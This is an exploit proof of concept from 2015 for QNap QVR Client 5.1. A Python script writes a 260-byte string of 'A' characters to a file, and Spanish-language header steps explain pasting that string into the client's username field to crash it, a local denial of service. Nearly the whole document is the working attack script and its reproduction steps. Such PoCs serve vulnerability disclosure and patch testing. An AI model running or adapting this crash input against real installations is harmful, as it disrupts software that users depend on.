QNap QVR Client 5.1.0.11290 - Crash (PoC)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title	: QNap QVR Client 5.1.0.11290 Crash PoC
# Discovery by	: Luis Martínez
# Email		: [email protected]
# Discovery Date	: 05/11/2015
# Vendor Homepage: http://www.qnapsecurity.com/n/en/
# Software Link	: http://download.qnap.com/Surveillance/Utility/QMon_20150630.zip
# Tested Version	: 5.1
# Vulnerability Type	: Denial of Service (DoS) Local
# Tested on OS	: Windows 10 Pro x64 es
# Steps to Produce the Crash: 
# 1.- Run python code : python qvr_client_5.1.py
# 2.- Open qvr_client_5.1.txt and copy content to clipboard
# 3.- Open QVR Client
# 4.- Direccion IP/Puerto -> 10.10.10.1 / 80
# 5.- Paste ClipBoard on "Nombre de Usuario"
# 6.- Contraseña -> test
# 7.- Aceptar
# 8.- Crashed

buffer = "\x41" * 260
f = open ("qvr_client_5.1.txt", "w")
f.write(buffer)
f.close()